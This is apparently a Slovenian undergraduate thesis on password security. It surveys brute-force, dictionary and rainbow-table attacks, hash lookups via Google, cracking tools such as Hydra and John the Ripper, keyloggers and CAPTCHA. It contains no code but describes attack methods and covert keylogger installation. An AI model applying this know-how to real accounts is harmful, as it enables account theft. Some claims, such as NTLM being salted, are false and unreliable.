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Povzetek
Diplomsko delo opisuje pomen gesel, s katerimi varujemo dostop do upo-
rabniˇskih racˇunov (in s tem posledicˇno tudi osebne podatke). Tehnologija se
neprestano razvija in s tem tudi varnostni mehanizmi za gesla ter nove oblike
ranljivosti za zasˇcˇito gesel. Glavni namen diplomske naloge je ozavesˇcˇanje
uporabnikov o izbiri mocˇnih gesel in predstavitev nasˇe aplikacije, s katero
lahko preverimo mocˇ nasˇega gesla.
Podrobno bomo pogledali posamezne napade na gesla. Razdelili jih bomo
na tehnicˇne, kjer bomo spoznali pomembnost izbire mocˇnih gesel, in na ne
tehnicˇne, kot je socialni inzˇeniring (ki je v dodatku) le-ta vsebuje zbirko
zvijacˇ, s katerimi napadalec dosezˇe, da sami izdamo geslo ali pa mu ponu-
dimo vsaj mocˇan namig. Opisali bomo nekatere prosto dostopne programe,
s katerimi lahko razbijemo sˇibko geslo. Na kratko bomo pogledali tudi po-
manjkljivosti slovenske zakonodaje, kot so na primer osebni podatki umrlega.
Kljucˇne besede: gesla, napadi na gesla, socialno inzˇenirstvo, CAPTCHA,
varnost gesel.

Abstract
The thesis describes the role of passwords to protect unauthorized access
to our acounts (and consequently also our data). Technology is constantly
evolving, thereby there is also rapid developement of security mechanisms for
protection of passwords, as well as new forms of vulnerability for passwords
protection. The main purpose of this thesis is to raise awareness of choosing
strong passwords and present the application, which can show strength of
our password.
We will study known password attacks in detail. Attacks will be divided
into technical, where we will see the importance of choosing strong passwords,
and non technical ones, such as social engineering (which is in appendix )
this presents a collection of attacker’s tricks, which presuade us to give up
our password or at least a strong hint about it. We will describe some of
the programs that exist on the Internet with which can we hack password.
We will also briefly survey the deficiencies of Slovenian legislation in the case
with personal data of the deceased.
Keywords: passwords, attacks on passwords, social engineering, CAPTCHA,
safety passwords.

Poglavje 1
UVOD
V danasˇnjem cˇasu imamo veliko varnostnih mehanizmov za zasˇcˇito podatkov
in virov pred nepooblasˇcˇeno osebo. Ena izmed teh je tudi zasˇcˇita z geslom.
Odkar smo zacˇeli uporabljati racˇunalnike, je varovanje dostopa do podatkov
z geslom med enostavnejˇsimi nacˇini. Vendar so se posledicˇno razvile tudi
sˇtevilne metode za razbijanje gesel, katerih se moramo zavedati.
Varnostni mehanizmi so ponavadi dobro stestirani, preden se uporabijo
pri varovanju gesel. Pri geslu, ki ga bo uporabnik izbral, je cˇlovesˇki fak-
tor en od dejavnikov, od katerega je odvisno, ali bo geslo mocˇno oziroma
predvidljivo in s tem sˇibko, glej npr. Burnett [7].
Ker od cˇasa do cˇasa v javnost pricurljajo zasebni podatki (in ti pogosto
vkljucˇujejo tudi gesla), sedaj na spletu ni tezˇko najti seznamov pogostih
gesel. Na spletu obstaja veliko aplikacij, ki lahko odkrijejo enostavna gesla.
Zato je sˇe toliko pomembneje, da se jih zavedamo in izberemo mocˇno geslo.
Odkar uporabljamo gesla na racˇunalnikih, so programerji razvijali pro-
grame za njihovo odkrivanje. Vecˇinoma ti delujejo na podoben nacˇin, in
sicer tako, da razbijejo geslo z metodami, ki bodo opisane v tej diplomski
nalogi. Razlika med programi je opazna pri hitrosti razbijanja gesel. Vendar
se cˇlovesˇki pristop pri izbiri gesel sˇe vedno ni spremenil dovolj. Ljudje izbi-
rajo gesla tako, da si ga najlazˇje zapomnijo. To pomeni, da izberejo za geslo
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besedo, ki njim nekaj pomeni. Cˇe se omejimo samo na osebna imena, imena
krajev ali najbolj pogoste besede, dobimo nekaj sto tisocˇ besed. S takim slo-
varjem besed, je danes mozˇno razbiti geslo v nekaj urah. Celo v raziskavi iz
leta 2002, so pri spletni banki Egg ugotovili, da veliko uporabnikov uporablja
sˇibka gesla. V 50% so to osebna imena, glej npr. Pfleeger [31].
V drugem poglavju bomo natancˇneje opredelili pojem gesla, kaksˇni so
motivi napadalcev in od cˇesa je odvisno, da geslo lahko razbijemo. V tre-
tjem poglavju se bomo poducˇili najbolj razsˇirjenih tehnik napadov na gesla.
V cˇetrtem poglavju bomo pogledali, kaksˇne programe za razbijanje gesel naj-
demo na spletu. V petem poglavju bomo spoznali varnostni mehanizem, s
katerim omejimo sˇtevilo poskusov ugibanja gesla. V sˇestem poglavju bomo
preucˇili pomembnejˇsa nova napada na spletni strani, ki sta se pred krat-
kim zgodila in kaksˇna gesla uporabljajo Slovenci. V sedmem poglavju bomo
predstavili zakonodajo o varovanju osebnih podatkov in o dostopu do oseb-
nih podatkov umrlega. V zadnjem poglavju bomo opisali nasˇ program za
razbijanje gesel.
V dodatku se bo bralec seznanil z ne tehnicˇnimi napadi. Spoznal bo, kaj
pomenijo izrazi spletno ribarjenje, pharming, tabnabbing in vishing.
Poglavje 2
O GESLIH
Z gesli se srecˇujemo vsak dan za dostop do racˇunalnika, elektronske posˇte,
spletne strani in mnogo drugih stvari ali drugih naprav. Geslo je podatek, s
katerim lahko dostopamo do dolocˇenega vira. Uporabo gesel so poznali zˇe v
stari antiki, ko so morali poznati geslo ali dolocˇeno frazo, da so imeli dostop do
zgradbe ali mesta. V sodobnih cˇasih geslo uporabljamo v virtualnih svetovih,
da omejimo nepooblasˇcˇenim dostop do informacijskih sistemov ali dolocˇenih
virov podatkov. Geslo lahko definiramo kot niz razlicˇnih znakov, ki vsebuje
cˇrke, sˇtevilke in posebne znake. V nadaljevanjem bomo pogledali, kaksˇni so
motivi napadalcev, vrste napadov in ucˇinkovitost razbijanja.
2.1 Motivi napadalcev
Motiv za napad na gesla je odvisen od napadalca, glej npr. SI-CERT [34].
• Nacˇrtovani:
– iskanje podatkov ali zbiranje podatkov,
– povzrocˇanje financˇne ali strojne sˇkode,
– iskanje lukenj.
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• Prilozˇnostni:
– naletimo na ranljivost.
• Izkazovanje mocˇi in znanja.
2.2 Vrste napadov
Obstaja vecˇ vrst napadov na gesla:
• online napad, pomeni, da napadamo na spletu. Napadamo spletne
strani, kjer je potrebno opraviti prijavo uporabnika. To so lahko sple-
tni forumi, e-posˇte, spletni portali. Online napadi niso zelo ucˇinkoviti,
ker imajo pogosto varnostne mehanizme, ki prepricˇujejo napade na ge-
sla. En od varnostnih mehanizmov je CAPTCHA, ki se pojavi, ko
prevecˇkrat vpiˇsemo napacˇno geslo. Sˇe vedno pa se je mozˇno izogniti
taksˇni zasˇcˇiti in izvesti napad, glej npr. Burnett [7]. Kot primer obstaja
program, ki se imenuje Hydra. Slednji (program) prestavlja avtenti-
kacijski program, ki podpira vecˇ online storitev, kot so POP3, http,
LDAP, IMAP,..
• oﬄine napad, pomeni, da izvajamo napad na lokalnem racˇunalniku.
Pogosto imamo na voljo zgosˇcˇena gesla, imenovana zgostitev. Oﬄine
napadi so najbolj ucˇinkoviti, ker ni sistema, ki bi nam preprecˇil po-
skusˇanje in opozoril uporabnika na akcije napadalca.
• aktivni napad se sˇteje, kadar s svojimi dejanji in ukazi spreminjamo
podatke ali delovanje sistema.
• pasivni napad je prislusˇkovanje, kadar s svojimi dejanji ne spreminjamo
integriteto podatkov ali delovanja sistema.
• tehnicˇni napadi:
– branje in poslusˇanje portov,
2.3. UCˇINKOVITOST RAZBIJANJA 5
– napad onemogocˇanja (DoS),
– sˇkodljiva programska koda,
– zloraba storitev.
• goljufije in prevare:
– kraja identitete,
– spam, 1
– phishing. 2
2.3 Ucˇinkovitost razbijanja
Ucˇinkovitost razbijanja gesla je odvisna od vecˇ dejavnikov, kot so:
• zasˇcˇita gesla. Gesla, ki imajo omejeno sˇtevilo poskusov. Nekatera gesla
imajo rok trajanja. Druga imajo zakasnitev preden, lahko spet vpiˇsemo
geslo.
• sredstva, ki so na voljo. V primeru, da imamo na voljo boljˇse, mocˇnejˇse
racˇunalnike, kjer lahko izrabimo vecˇnitne procesorje, lahko hitreje ugo-
tovimo geslo.
Ucˇinkovitost oﬄine napada temelji tudi na tem, da lahko izrabimo veliko
sˇtevilo poskusov in racˇunsko mocˇ. Pri tem nam pomagata CPU in GPU
skupaj s preracˇunanimi hash tabelami (mavricˇne tabele), slovarji ali napad
s silo. Razlika med CPU in GPU je v cˇasu operacij, ki lahko posamezni
enoti izvedeta. CPU temelji na centralni procesni enoti. Medtem, ko je
napad GPU novejˇsi, saj izrablja mocˇ graficˇne procesne enote oziroma izrablja
mocˇ graficˇne kartice. Graficˇna kartica je lahko tudi do 100 krat hitrejˇsa od
centralne procesne enote, glej npr. Burnett [7].
1spam je izraz, ki se uporablja za vsiljeno posˇto
2phishing je nezakoniti nacˇin zavajanja uporabnikov, namenjen pridobivanju njegovih
osebnih podatkov
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Poglavje 3
PREGLED TEHNICˇNIH
METOD ZA RAZBIJANJE
GESEL
Pri razbijanju gesel imamo vecˇ metod. Katero metodo bomo izbrali, je od-
visno od tega, koliko cˇasa zˇelimo porabiti in koliko truda zˇelimo vlozˇiti. Da
napadalcu otezˇimo nalogo, morajo biti gesla mocˇna. To pomeni, da morajo
gesla biti dovolj dolga. Izogibati se moramo gesel, v katerih je uporabljen
osebni podatek, ki bi ga napadalec lahko poznal. Taksˇna gesla so na pri-
mer osebno ime, rojstni datum, ime hiˇsnega ljubljencˇka, ime blizˇnje osebe,
nasˇa telefonska sˇtevilka, nasˇ hiˇsni naslov in podobno. Cˇe uposˇtevamo vse te
elemente, dobimo geslo, ki je mocˇno, glej npr. Ho¨lbl [18].
Uporabljati mocˇno geslo sˇe ne pomeni popolne zasˇcˇite. Odsvetuje se
hranjenje gesla v fizicˇni obliki (npr. listek prilepljen na zaslonu). Cˇe si gesla
ne moremo zapomniti, si ga vseeno zapiˇsemo, a zapis shranimo nekam na
varno. Priporocˇeno je, da isto geslo ne uporabljamo na vecˇ racˇunih, saj v
primeru, da napadalec ugotovi geslo, tako preprecˇimo morebiti vecˇjo sˇkodo.
V tem poglavju bomo pogledali najpogostejˇse tehnike za razbijanje gesel.
Na koncu poglavja si bomo pogledali sˇe, kako lahko poiˇscˇemo geslo z Googlom
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(in s tem tudi gesla, ki so v zgosˇcˇeni obliki).
3.1 Napad z grobo silo
Pri tej metodi poskusˇamo geslo uganiti z uporabo vseh kombinacij, kot so
sˇtevilke, cˇrke in posebni znaki do neke velikosti n. Slednje (angl. Brute
force attack) pomeni, da uporabimo grobo silo. Napad se izvede tako, da v
uporabniˇski racˇun vstavljamo zaporedje gesel, dokler geslo ne razbijemo. V
najslabsˇem primeru bi morali cˇez celoten nabor znakov tolikokrat, kolikor je
mest m. Geslo odsˇifriramo v O(mn) poskusih, kjer pomeni m sˇtevilo znakov
in n dolzˇino niza. Z dolzˇino niza se eksponentno povecˇuje sˇtevilo mozˇnosti,
da tezˇje razbijemo geslo.
V teoriji bi napad s silo moral biti 100% uspesˇen, ker smo uporabili celoten
nabor znakov. Vendar v praksi trenutno to sˇe ni izvedljivo. Zaradi hitrosti
racˇunalnika in omejitve poskusov tak napad v celoti ni izvedljiv. Vecˇina
spletnih aplikacij ima varnostne mehanizme, ki preprecˇujejo vecˇje sˇtevilo po-
skusov. Ko nekatere aplikacije posumijo, da gre za vdiranje, ga lahko omejijo,
tako da se vklopi CAPTCHA. Pri nekaterih aplikacijah se pojavi zakasnitev
pri napacˇno vnesenih geslih, lahko pa tudi blokirajo IP naslov.
V praksi je napad z grobo silo zelo neucˇinkovit.
3.2 Napad s slovarjem
Je najbolj priljubljen in najpogostejˇsi napad. Slednje (angl. Dictionary at-
tack). Priljubljen je, zato ker je enostaven, relativno hiter in vanj je potrebno
vlozˇiti najmanj truda, saj na spletu zˇe obstajajo razlicˇni programi, ki nam
olajˇsajo to delo. Pri temu napadu si pomagamo s slovarjem, ki vsebuje od
tisocˇ pa vse do milijon in vecˇ besed. Slovar je lahko poljuben. Najdemo ga
lahko na internetu ali pa ga naredimo sami oziroma ga priredimo za nasˇe
potrebe. Napad se izvaja tako, da izberemo besedo iz slovarja in jo vstavimo
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kot geslo v uporabniˇski racˇun.
Pri tej metodi so najbolj na udaru enostavna gesla. To so gesla, ki so
kratka in se najbolj pogosto uporabljajo v vsakdanjem zˇivljenju. Besede, ki
niso tujke, pogovorne besede, besede, ki se najpogosteje uporabljajo v geslih,
osebna imena, imena krajev.
Kratke besede v slovarju tudi kombiniramo med seboj, da dobimo cˇim
vecˇ mozˇnosti. Postopek se ponavlja, dokler ne odkrijemo pravo geslo ali pa
pridemo do konca slovarja.
Kombiniran napad s slovarjem
Pomeni, da kombiniramo vecˇ besed iz slovarja ali vecˇ besed iz vecˇ slovarjev.
Ta tehnika se je pojavila, ker veliko uporabnikov na ta nacˇin sestavlja svoja
gesla. To pomeni, da na zacˇetku ali na koncu svojega gesla dodajo besede,
sˇtevilke ali posebne znake, glej Tabela 3.1.
vhod izhod
geslogeslo
geslo123
123geslo
geslo abcgeslo
abc abcabc
123 123abc
gesloabc
123abcgeslo
gesloabc123
abc123geslo
Tabela 3.1: Izgled kombiniranja gesel.
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Hibriden napad s slovarjem
Ta nacˇin (angl. Hybrid dictionary attack) je kombinacija napada z grobo
silo in napada s slovarjem. Kot primer vzamemo besedo iz slovarja pas-
sword, ki jo kombiniramo z drugimi nizi, da dobimo novo besedo. Tako
lahko dobimo 111password, 112password, vse do 999password. S
tako kombinacijo napada lahko drasticˇno povecˇamo cˇasovno zahtevnost, ker
je potrebno izracˇunati niz iz napada s silo in niz iz slovarja. Cˇasovna kom-
pleksnost bi tako bila asimptoticˇna O(n2).
3.3 Napad z mavricˇnimi tabelami
V sodobnih operacijskih sistemih se gesla ne shranjujejo vecˇ neposredno na
disk, kot odprt tekst, temvecˇ se najprej obdelajo z zgosˇcˇevalno funkcijo. S
tem naredimo prstni odtis gesla. Poleg niza se shrani v tabelo zgosˇcˇena
vrednost. Gesla ne shranjujemo neposredno, ker v primeru, da napadalcu
uspe priti do datoteke z gesli, s tem onemogocˇimo, da bi priˇsel do drugih
uporabniˇskih racˇunov, saj so v tabeli shranjene samo zgosˇcˇevalne vredno-
sti gesel. Kljub poznavanju zgosˇcˇevalne vrednosti gesel, napada ni mogocˇe
izvesti drugacˇe kot z grobo silo, glej npr. Ho¨lbl [18].
Tabele so do neke mere popolni seznami, ki vsebujejo vse mozˇne kombina-
cije zgostitev in originalov. Napad z mavricˇnimi tabelami (angl. Rainbow
tables) je malo drugacˇen napad na gesla. Pri tem napadu ne poskusˇamo
ugotoviti geslo na uporabnikovem racˇunu, tako da bi za vsako besedo po-
gledali, cˇe je geslo razbito, ampak temelji na predpripravi racˇunanja vseh
mozˇnih kombinacij znakov in njihovih zgosˇcˇevalnih vrednosti. S tem dobimo
veliko tabelo, ki je lahko velika vecˇ Gb in v kateri so shranjena gesla in njim
pripadajocˇe zgosˇcˇevalne vrednosti. Cˇeprav je tak napad podoben napadu
s silo, obstaja manjˇsa razlika. Pri napadu s silo moramo geslo preveriti v
uporabniˇskem racˇunu, pri tem napadu, pa primerjamo samo zgosˇcˇene vre-
dnosti, ki na podlagi ujemanja ugotovijo geslo. Prednost tega napada je, da
imamo neomejeno sˇtevilo poskusov, slabost pa, da potrebujemo veliko pro-
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stora na disku. Mavricˇne tabele so tako bolj kombinacija napada z grobo
silo in napada s slovarjem, kjer dobimo zelo velik slovar, v katerem so nizi in
pripadajocˇe zgostitve. Taksˇen pristop zmanjˇsa cˇas pri napadu zaradi prostor-
ske zahtevnosti. Potek pridobivanja in primerjanja gesel ter zgostitve poteka
tako, da za predvideno geslo z zgosˇcˇevalno funkcijo izracˇunamo zgostitev.
Redukcijska funkcija je funkcija, ki nam pove, kako z ene vrednosti preidemo
na drugo. Z redukcijsko funkcijo generiramo iz zgostitve naslednji niz in
tako dobimo zgostitve razvrsˇcˇene v verige. Verigo, ki jo dobimo, moramo
pregledati od zacˇetka do konca, saj imajo zgosˇcˇevalne funkcije to lastnost,
da jih ni mogocˇe invertirati. To pomeni, da ni mogocˇe dobiti koncˇne vredno-
sti, iz katere smo dobili zgosˇcˇevalno vrednost. Po generiranju celotne verige
lahko zavrzˇemo vse vrednosti, razen prvega in zadnjega niza, ki ju shranimo
v mavricˇno tabelo.
Slika 3.1: Shema mavricˇne tabele.
Mavricˇne tabele v osnovi pomenijo poseben nacˇin shranjevanja zelo velikega
slovarja. V primeru napada z grobo silo je cˇasovna kompleksnost v naj-
slabsˇem primeru O(2n), kjer je n dolzˇina niza izrazˇena v bitih. Pri iskanju po
slovarju je cˇasovna kompleksnost linearna, saj je O(n), kjer je n sˇtevilo nizov
v tabeli. Z uporabo mavricˇnih tabel lahko cˇasovno kompleksnost zmanjˇsamo
na O(log n). Pomembno je, da geslo ni trivialno, ker se tipicˇno geslo lahko
12
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razbije v nekaj minutah ali urah, kar je precej hitreje kot napad s silo ali s
slovarjem.
3.3.1 Uporaba soli v zgosˇcˇevalnih tabelah
Kot smo zˇe omenili zgosˇcˇevalnih funkcij ni mogocˇe invertirati, kar pomeni,
da iz dane zgostitve zapisa ne moremo ugotoviti, kateri niz oziroma geslo je
pravo. Napad z mavricˇnimi tabelami postane hitro neucˇinkovit, cˇe dodamo
sol (angl. salt). Slednje pomeni, da nizu oziroma geslu zraven dodamo k na-
kljucˇnih bitov, ki se potem uporabijo v zgosˇcˇevalni funkciji. Cˇe uporabljamo
za sol nakljucˇno zaporedje, se v tabelo locˇeno shranita zgostitev in sol. Da
izvedemo napad z uporabo mavricˇnih tabel, bi morali poznati vrednost soli,
kar nam onemogocˇa, da bi izracˇunali zgostitev.
Slika 3.2: Uporaba soli.
V starejˇsih Windowsih, kot je XP je bil napad z mavricˇnimi tabelami mogocˇ,
ker so uporabljali LM (Lan Manager) zgosˇcˇevalno funkcijo, ki ne vsebujejo
soli. Od tam naprej pa se v Windows sistemih uporablja NTLM (NT Lan
Manager, ki uporablja pri shranjevanju gesel sol. Tako onemogocˇa napad z
mavricˇnimi tabelami.
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3.4 Iskanje podatkov z Googlom
Vecˇ je podatkov, ki so objavljeni na spletu, vecˇja je mozˇnost, da lahko te
podatke izkoristimo in najdemo ranljivost v uporabniku. Google je najvecˇji
spletni iskalnik na svetu. Za vsako informacijo, ki jo iˇscˇemo, je 100% verje-
tnost, da jo bomo iskali preko iskalnika Googla.
Google je tako ucˇinkovit pri iskanju podatkov in se razlikuje od drugih sple-
tnih iskalnikov zaradi naprednih iskalnih operatorjev. Te operatorje upora-
bimo pri tvorjenju iskalnega niza. V primeru, ko imamo veliko zadetkov,
lahko z operatorji izlusˇcˇimo tiste podatke, ki nas zanimajo. Iskalne ope-
ratorje, ki jih vnasˇamo v Google, uporabljajo sintakso v obliki parameter:
iskalni niz, glej npr. Google [13].
Primeri nekaterih operatorjev:
• cache: omogocˇa ogled strani, ki jo je Google shranil v cache. Tako
lahko dostopamo do spletne strani, ki niso vecˇ dosegljive;
• link: omogocˇa iskanje po spletnih straneh, ki vsebujejo povezavo na
izbrano spletno stran;
• related: omogocˇa iskanje po spletnih straneh, ki so podobne izbranim
spletnim stranem;
• info: prikaz podatkov za dolocˇeno spletno stran;
• site: omogocˇa o preiskavo dolocˇene domene;
• filetype: omogocˇa iskanje dolocˇene vrste datoteke;
• inurl: omogocˇa iskanje po URL naslovih;
• allintext: omogocˇa iskanje dolocˇenega teksta na spletnih mestih;
• numrange: omogocˇa iskanje sˇtevil v razponu;
• author: omogocˇa iskanje po avtorju;
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• group: omogocˇa iskanje med skupinami na spletnih mestih;
• intext: omogocˇa iskanje po besedilu na spletnih mestih.
Iskanje zgostitev z Googlom
Zgostitve lahko najdemo z Googlom. Veliko gesel je mozˇno razbiti na tak
nacˇin oziroma pridobiti iz zgosˇcˇene vrednosti gol tekst, saj obstaja veliko
razlicˇnih seznamov in slovarjev, ko se geslo ujema z zgosˇcˇeno vrednostjo.
Tak napad se lahko zelo preprosto izvede in je najbolj ucˇinkovit, kjer so gesla
sˇibka. Taka gesla so npr. 123456, aaabbbccc, admin, password. . .
Obstaja tudi veliko spletnih strani, kjer nam ponujajo programe za razbitje
zgosˇcˇene vrednosti. V Googlov iskalnik lahko poskusimo vpisati MD5 hash
’eb8e80a454a69d49ea55462c2ababa99’. Pri iskanju te zgosˇcˇene vrednosti
smo dobili zadetek in geslo 8HoWiHTq. Pri tem je zanimivo, da se geslo
8HoWiHTq smatra kot mocˇno geslo, ker vsebuje velike in male cˇrke ter
sˇtevilke. Pri iskanju s spletnim iskalnikom Google lazˇja in sˇibka gesla vrnejo
sˇe vecˇ zadetkov.
Poglavje 4
PROGRAMI ZA
PRIDOBIVANJE GESEL
Znacˇilnost programov za pridobivanje gesel, ki jih najdemo na spletu, so,
da poskusˇajo ugotoviti geslo v najkrajˇsem mozˇnem cˇasu. Taki programi
nam lahko pomagajo na ”legalen”nacˇin pridobiti geslo (cˇe ga uporabljamo
v zasebne namene). S tem se izognemo izgubi podatkov tudi v primeru,
cˇe geslo pozabimo. Vendar veliko uporabnikov zlorablja take programe pri
kaznivih dejanjih, da sˇkodujejo drugim osebam.
V zadnjih nekaj letih se je razvilo veliko programov za razbijanje gesel. Vsak
program ima svoje prednosti in slabosti. V nadaljevanju bomo podrobneje
pogledali programe, kot so; Brutus, RainbowCrack, Cain and Abel, John the
Ripper, THC Hydra in OphCrack. Na koncu poglavja se bomo sˇe poducˇili
o programu, ki se imenuje Keylogger. Ta ni tipicˇen program za razbijanje
gesel, vendar se veliko gesel pridobi s tem nacˇinom.
4.1 Brutus
Je en od hitrejˇsih in bolj fleksibilnih programov za razbijanje gesel. Orodje je
brezplacˇno in je na voljo samo za Windows sisteme. Zaenkrat sˇe ne obstaja
verzija, ki bi delovala na UNIX sistemih, vendar se program stalno posoda-
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blja, tako da bo verjetno tudi v blizˇnji prihodnosti narejena verzija za UNIX
sisteme. Brutus se je prvicˇ javno pojavil oktobra leta 1998. Slabost programa
Brutus je, da zˇe nekaj let ni bilo nobenih popravkov in novih verzij. Tako,
da je tehnologija zˇe malo zastarela. Vendar pa so se razvijalci pred kratkim
odlocˇili, da bodo v blizˇnji prihodnosti objavili novo verzijo programa, glej
npr. Shandkhdhar [33].
Brutus lahko uporabimo tudi na usmerjevalnikih, saj podpira vecˇ vrst pro-
tokolov. Ti protokoli so:
• HTTP (osnovno avtentikacijo),
• HTTP (HTML obliko/CGI),
• POP3,
• FTP,
• SMB,
• Telnet,
• IMAP,
• NNTP,
• NetBus.
Brutus lahko uporabimo tudi za preverjanje mocˇi gesel. Pri funkcionalnosti
podpira:
• vecˇstopenjsko avtentikacijo,
• 60 istocˇasnih povezav (to pomeni, da se lahko povezˇemo istocˇasno do
60 spletnih naslovov),
• vecˇ nacˇinov prijave (brez uporabniˇskega imena, z uporabniˇskim imenom
in z vecˇ uporabniˇskimi imeni),
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• uporaba slovarja za gesla in uporabniˇska imena ali uporaba grobe sile
pri razbitju gesel,
• prekinitev izvajanja operacije in nadaljevanje tam, kjer je nazadnje
koncˇal,
• SOCK proxy podpora za vse avtentikacijske tipe.
Slika 4.1: Primer programa Brutus.
Kot smo zˇe v opisu povedali, program zˇe nekaj cˇasa ni bil delezˇen popravkov,
vendar kljub temu sˇe vedno velja, da je med hitrejˇsimi.
4.2 RainbowCrack
Ta program se uporablja za razbijanje gesel, pri katerih imamo na voljo nji-
hove zgostitve. Potrebuje veliko kolicˇino pomnilnika in procesorske mocˇi, da
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hitreje razbije geslo za razliko od obicˇajnih napadov z grobo silo. Uporablja
namrecˇ mavricˇne tabele, glej npr. Shandkhdhar [33].
4.3 Cain and Abel
Ta program je zelo priljubljen za razbijanje gesel. Lahko opravlja vecˇ nalog
pri razbijanju gesel, kot so:
• analiza omrezˇnega prometa (sniffer in the network),
• razbijanje kriptiranih gesel s slovarjem,
• snemanje VoIP pogovorov,
• razbijanje gesel z uporabo grobe sile,
• kriptoanalizo (desˇifriranje skritega besedila, brez poznanega kljucˇa),
• analiza usmerjevalnih protokolov,
• ARP zastrupljanje,
• pridobivanje wi-fi gesel.
Omogocˇa razbitje zgosˇcˇenih vrednosti, kot so:
• LM in NTLM zgostitve,
• MD2, MD4, MD5 zgostitve,
• Radius zgostitve,
• Kerberos,
• SHA-1 in SHA-2,
• IKE PSK zgostitve.
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Najbolj znano za ta program je, da je bil narejen z namenom, da pomaga
zasˇcˇititi internetno infrastrukturo. Program je namenjen vsem skrbnikom
omrezˇja, ucˇiteljem, varnostnim svetovalcem in digitalnim forenzikom za pe-
netracijske teste, tako da bi vzpostavili cˇim bolj varno infrastrukturo, glej
npr. Shandkhdhar [33].
Ena izmed slabosti programa Cain and Abel je, da je na voljo samo za Win-
dows platforme. Tudi nekateri protivirusni programi zaznajo ta program kot
grozˇnjo. Cain and Abel ne vsebujeta dejanskih tabel za razbijanje gesel,
temvecˇ je treba te tabele prenesti iz interneta.
4.4 John the Ripper
Program je narejen za Unix operacijske sisteme, kot sta Linux in Mac OS
X. Je odprtokodni program za razbijanje gesel. Ta program lahko najde
slaba oziroma sˇibka gesla in je priljubljen program za testiranje ter vdiranje
v informacijske sisteme, glej npr. Wikipedia [40]. Omogocˇa razbitje in:
• detekcijo uporabe zgostitve pri geslih,
• Kerberos,
• windows LM zgostitve,
• MD4 zgostitve,
• razbitje gesel shranjenih v LDAP, MySQL in drugih sistemih.
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Slika 4.2: Primer delovanja John the ripper v dos-u.
Metodi, ki jih program John the Ripper najbolj pogosto uporablja, sta napad
s slovarjem in napad s silo.
4.5 THC Hydra
V primerjavi z ostalimi programi za razbitje gesel je ta en izmed hi-
trejˇsih omrezˇnih prijavnih programov (angl. network logon password
cracking tool). Prvicˇ je izsˇel leta 1995 v Nemcˇiji. Hitrejˇsi je pred-
vsem zato, ker lahko enostavno namestimo nove module in dodajamo
nove funkcije. Na voljo je za vse operacijske sisteme. Podpira 50
in vecˇ omrezˇnih protokolov; Asterisk, AFP, Cisco AAA, Cisco auth,
Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-
POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET,
HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ,
IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle
SID, Oracle, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SA-
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P/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2),
Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC in XMPP, glej
npr. Shandkhdhar [33].
Leta 2007 so s THC Hydra izvedli poskus, kjer so sprejemali GSM signal z
uporabo USRP (universal software radio peripheral). Skupina, ki je izvedla
poskus, je demonstrirala, kako lahko je vdreti v razgovor zasˇifriran z A5/1
GSM algoritmom.
4.6 OphCrack
Ta program je napisan v programskem jeziku C in C++. Uporablja LM in
NTLM zgostitve za razbitje gesel pri Windows XP, Vista in Windows 7, glej
npr. Audit PC [4]. Omogocˇa, da lahko uvozimo v program zgosˇcˇeno tabelo
direktno iz SAM1. Posebnost programa je ta, da ga zapecˇemo kot live CD in
s tem lahko olajˇsamo delo pri razbitju gesel.
4.7 Keylogger
Keylogger, ki po slovensko pomeni zapisovalnik pritiskov tipk. Je program,
ki zapisuje in shrani v pomnilnik vsako tipko, ki jo natipkamo s tipkovnico.
Belezˇi tudi obiskane spletne strani, prijave v aplikacije in belezˇi tudi vse
aktivnosti, ki se dogajajo na racˇunalniku. Uporablja se lahko kot starsˇevski
nadzor ali nadzor nad zaposlenimi. Program je postal hitro uporaben tudi za
druge nelegalne stvari. Ker belezˇi vsako tipko, ki jo pritisnemo na tipkovnici,
lahko na podlagi tega pridobimo geslo od zˇrtve, ko se prijavi v aplikacijo na
racˇunalniku, kjer je namesˇcˇen Keylogger, glej npr. Raj [38]. Novejˇsi Keylo-
ggerji imajo mozˇnosti hitre insˇtalacije, kar pomeni, da na svojem racˇunalniku
nastavimo nastavitve belezˇenja, mozˇnost posˇiljanja datotek, zapise dejavno-
sti na racˇunalniku na e-posˇto, posˇiljanje tisk zaslona (ang. print screen) itd.
S shranjenimi nastavitvami lahko ustvarimo insˇtalacijski program, kjer na
1Security Account Manager, datoteka, kjer so shranjena gesla.
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tuj racˇunalnik hitro namestimo Keylogger.
Slika 4.3: Primer programa Keylogger.
Keylogger je zelo ucˇinkovit, ker se lahko skrije med ostalimi aktivnimi pro-
grami pod pretvezo drugega znanega programa. Uporabnik tako tezˇko ugo-
tovi ali je na racˇunalniku nalozˇen Keylogger. V starejˇsih Windowsih, kot je
XP, je napadalec lahko naredil bootable USB. Ta je podtaknil uporabniku
USB, ki je potem vkljucˇil v racˇunalnik in se je avtomatsko nalozˇil Keylogger.
Poglavje 5
VARNOSTNI MEHANIZEM
CAPTCHA
V prejˇsnjem poglavju smo se poducˇili o programih za razbijanje gesel. Upo-
raba takih programov brez varnostnih mehanizmov pomeni, da geslo lahko
razbijemo v razumnem cˇasu (z danasˇnjo racˇunsko mocˇjo). Da bi omejili
poskusˇanje vecˇ gesel, potrebujemo varnostni mehanizem kot je CAPTCHA.
Ta mehanizem predstavlja ”popolnoma avtomatiziran javen Turingov test,
s katerim locˇimo racˇunalnike od ljudi”(angl. Completely Automated Public
Turing Test To Tell Computers and Humans Apart). Cilj Turingovega testa
je locˇiti cˇloveka od racˇunalnika in cˇe mu v tej primerjavi to ne uspe, potem
je racˇunalnik prestal tak test, glej npr. Wikipedia [39].
V tem poglavju bomo pogledali najbolj znan varnostni mehanizem, ki se
uporablja na spletu, to je CAPTCHA. Spoznali bomo tudi reCAPTCHA, ki
je nadgradnja CAPTCHA in se uporablja za digitalizacijo knjig.
CAPTCHA sistem preprecˇi avtomatsko izpolnjevanje obrazcev s strani pro-
gramov. To pomeni, da omeji poskusˇanje vecˇ gesel. Poleg tega se uporablja
sˇe pri drugih aktivnostih, kot so: onemogocˇanje napadalcem, da bi posˇiljali
vecˇ nezazˇelenih sporocˇil (spam), objavljanje nezazˇelenih reklamnih sporocˇil
